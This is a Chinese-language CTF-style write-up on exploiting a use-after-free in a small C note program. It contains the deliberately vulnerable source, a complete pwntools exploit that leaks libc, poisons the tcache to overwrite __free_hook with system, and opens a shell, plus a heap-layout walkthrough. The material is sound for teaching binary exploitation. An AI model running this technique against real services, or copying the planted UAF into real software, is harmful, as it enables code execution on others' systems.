前言

我們上次講到的uaf是比較基礎的練習題，但是今天我們要說的是要如何在沒有後門的情況下也可以開shell

LAB (參考自Zero to hero - Nerf version 2)

uaf_adv.c:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdint.h>
#include <string.h>

#define MAX_NOTES 8

void init() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stderr, NULL, _IONBF, 0);
}

void menu() {
    puts("1. Add a note");
    puts("2. Delete a note");
    puts("3. Show a note");
    puts("4. Update a note");
    puts("5. Exit");
}

char *notes[MAX_NOTES] = {0};
uint32_t note_len[MAX_NOTES] = {0};

int free_index() {
    for (int i = 0; i < MAX_NOTES; ++i) {
        if (!notes[i]) return i;
    }
    return -1;
}

void add() {
    int index = free_index();
    if (index < 0) {
        puts("You have too many notes!");
        exit(-1);
    }

    printf("Note size: ");
    unsigned int size = 0;
    scanf("%u", &size);
    getchar();

    notes[index] = (char *)malloc(size);
    if (!notes[index]) {
        perror("malloc");
        exit(-1);
    }
    note_len[index] = size;

    printf("Enter your note: ");
    fgets(notes[index], size, stdin);
    puts("Note added!");
}

void delete() {
    int index = 0;
    printf("Note index: ");
    scanf("%d", &index);
    getchar();

    if (index >= MAX_NOTES || index < 0) {
        puts("Invalid index!");
        exit(-1);
    }
    if (!notes[index]) {
        puts("Note not found!");
        exit(-1);
    }

    free(notes[index]);

    puts("Note deleted!");
}

void show() {
    int index = -1;
    printf("Note index: ");
    scanf("%d", &index);
    getchar();

    if (index >= MAX_NOTES || index < 0) {
        puts("Invalid index!");
        exit(-1);
    }
    if (!notes[index]) {
        puts("Note not found!");
        exit(-1);
    }

    printf("Your note: %s\n", notes[index]);
}

void update() {
    int index = -1;
    printf("Note index: ");
    scanf("%d", &index);
    getchar();

    if (index >= MAX_NOTES || index < 0) {
        puts("Invalid index!");
        exit(-1);
    }
    if (!notes[index]) {
        puts("Note not found!");
        exit(-1);
    }

    printf("Enter your new note: ");
    fgets(notes[index], note_len[index], stdin);
    puts("Note updated!");
}

int main() {
    init();

    while (1) {
        menu();
        printf("> ");
        int choice;
        scanf("%d", &choice);
        getchar();

        switch (choice) {
            case 1:
                add();
                break;
            case 2:
                delete();
                break;
            case 3:
                show();
                break;
            case 4:
                update();
                break;
            case 5:
                puts("Bye!");
                exit(0);
            default:
                puts("Invalid choice.");
                break;
        }
    }
    return 0;
}

makefile:

uaf_adv: uaf_adv.c
        gcc uaf_adv.c -o uaf_adv -fstack-protector-all

exp.py:

from pwn import *

libc = ELF('../share/libc.so.6', checksec=False)

ld_path = "../share/ld-linux-x86-64.so.2"
binary_path = "../share/uaf_adv"

r = process([ld_path, binary_path], cwd="../share")

def add(size, note):
    r.sendlineafter(b'> ', b'1')
    r.sendlineafter(b': ', str(size).encode())
    r.sendlineafter(b': ', note)

def delete(idx):
    r.sendlineafter(b'> ', b'2')
    r.sendlineafter(b': ', str(idx).encode())

def show(idx):
    r.sendlineafter(b'> ', b'3')
    r.sendlineafter(b': ', str(idx).encode())
    r.recvuntil(b'Your note: ')
    leak = r.recvline().strip()
    return leak

def update(idx, new):
    r.sendlineafter(b'> ', b'4')
    r.sendlineafter(b': ', str(idx).encode())
    r.sendlineafter(b': ', new)

add(0x428, b'a'*8)
add(0x28, b'b'*8)

delete(0)

leak_addr = u64(show(0).ljust(8, b'\x00'))
success(f"Leaked address: {hex(leak_addr)}")
libc_base = leak_addr - (libc.symbols['__malloc_hook'] + 0x70)
success(f'libc_base: {hex(libc_base)}')

free_hook = libc_base + libc.symbols['__free_hook']
system = libc_base + libc.symbols['system']
success(f'free hook leak: {hex(free_hook)}')
success(f'system address: {hex(system)}')

add(0x38, b'a' * 8)
add(0x38, b'b' * 8)

delete(2)
delete(3)

update(3, p64(free_hook))

add(0x38, b'c' * 8)

add(0x38, p64(system))

add(0x20, b'/bin/sh\x00')

delete(6)

r.interactive()

流程

Heap / Tcache 流程圖解

圖解流程文字示意

Step 1~2: malloc chunks
+---------+ +-----+
| chunk0 | | c1 |
| 0x428 | |0x28 |
+---------+ +-----+
allocated allocated

Step 3: free large chunk → unsorted bin
chunk0 freed → points to main_arena (libc leak)

Step 4~5: malloc small chunks
+----+ +----+
| c2 | | c3 |
|0x38 | |0x38|
+----+ +----+
allocated allocated

Step 6~7: free small chunks → tcache
tcache[0x40]: c3 -> c2 -> NULL

Step 8: update c3 → overwrite fd → __free_hook
tcache[0x40]: __free_hook -> c2 -> NULL

Step 9~10: malloc → get __free_hook → write system
malloc(0x38) → c3' → write __free_hook
malloc(0x38) → c4 → write system

Step 11~12: malloc("/bin/sh") → free → system("/bin/sh")
RCE achieved

Pwned!